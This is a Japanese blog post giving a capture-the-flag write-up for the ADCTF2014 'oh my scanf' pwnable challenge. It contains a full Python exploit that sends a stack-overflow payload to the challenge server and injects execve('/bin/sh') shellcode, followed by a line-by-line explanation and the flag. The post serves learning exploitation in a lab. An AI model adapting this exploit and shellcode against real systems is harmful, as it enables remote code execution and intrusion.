つれづれなる備忘録

CTF関連の事やその他諸々

ADCTF2014 [17] oh my scanf

遂に来ましたPwnable!

This is my first program. oh_my_scanf.c oh_my_scanf
nc pwnable.katsudon.org 32100

 

今回は典型的なスタックオーバーフローの問題ですね。

ASLRが有効らしいけど、俺はそんなの気にしない(的なこと言えたらかっこいいw)

まずプロセスマップを除いてみると、

0804a000-0804b000 rwxp 00001000 08:01 945933

うん、確実にここにシェルコード書き込めって言ってるよね、これ

 

そんなわけで、Exploit

from struct import *
import sys
import socket

rhp = ("pwnable.katsudon.org",32100)
sh = "/bin/sh\x00"

offset_name = 0x00020060
offset_retn = 0x0002007c

addr_format = 0x080485c7
addr_scanf = 0x08048506
addr_buffer = 0x0804a100

#==========
nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(1.0)
nc.connect(rhp)

exploit = "\x00"*(offset_retn-offset_name-4)
exploit += pack("<I", addr_buffer) #$ebp=addr_buffer
exploit += pack("<I", addr_scanf)
exploit += pack("<I", addr_format)
exploit += pack("<I", addr_buffer)

nc.sendall(exploit+"\x0a")
nc.recv(1024)

payload = pack("<I", 0xdeadbeef)
payload += pack("<I", addr_buffer+0x10) #exec_addr
payload += sh
payload += "\x00"*(0x10-len(payload))
payload += "\x31\xc0" #xor %eax,%eax
payload += "\x04\x0f" #add 0x0f,%al
payload += "\x34\x04" #xor 0x04,%eal
payload += "\x89\xe3" #mov %esp,%ebx
payload += "\x31\xc9" #xor %ecx,%ecx
payload += "\x31\xd2" #xor %edx,%edx
payload += "\xcd\x80" #int 0x80

nc.sendall(payload+"\x0a")
nc.recv(1024)

続く

 

説明しますね

exploit = "\x00"*(offset_retn-offset_name-4)
exploit += pack("<I", addr_buffer) #$ebp=addr_buffer
exploit += pack("<I", addr_scanf) ※
exploit += pack("<I", addr_format)
exploit += pack("<I", addr_buffer)

※のついているところがmain関数のret命令時にリターンする先です。

その前のアドレスは、leave命令でebpに格納する値です。

 

scanfで次のpayloadを読み込んで、実行可能な0x0804a100以降にシェルコードを書きこみます。

payload = pack("<I", 0xdeadbeef)
payload += pack("<I", addr_buffer+0x10) #exec_addr
payload += sh
payload += "\x00"*(0x10-len(payload))
payload += "\x31\xc0" #xor %eax,%eax
payload += "\x04\x0f" #add 0x0f,%al
payload += "\x34\x04" #xor 0x04,%eal
payload += "\x89\xe3" #mov %esp,%ebx
payload += "\x31\xc9" #xor %ecx,%ecx
payload += "\x31\xd2" #xor %edx,%edx
payload += "\xcd\x80" #int 0x80

先頭の0xdeadbeefは、次のleave命令で格納する適当な値です

その先に、シェルコードが落ちているアドレスを格納しておきます。

その直後に’/bin/sh’の文字列がありますが、これにはちゃんと意味があります。

ret命令でシェルコードに制御が飛び、espは4だけ加算されて'/bin/sh'の先頭を指します。

そこでmov %esp,%ebxにより、ちょうどexecveの際のアドレスが指定できるという寸法です

 

exploit_oh_my_scanf.py

あとのシェル表示はお遊びです。

本当にASLR関係なかったww

 

FLAG: ADCTF_Sc4NF_IS_PRe77Y_niCE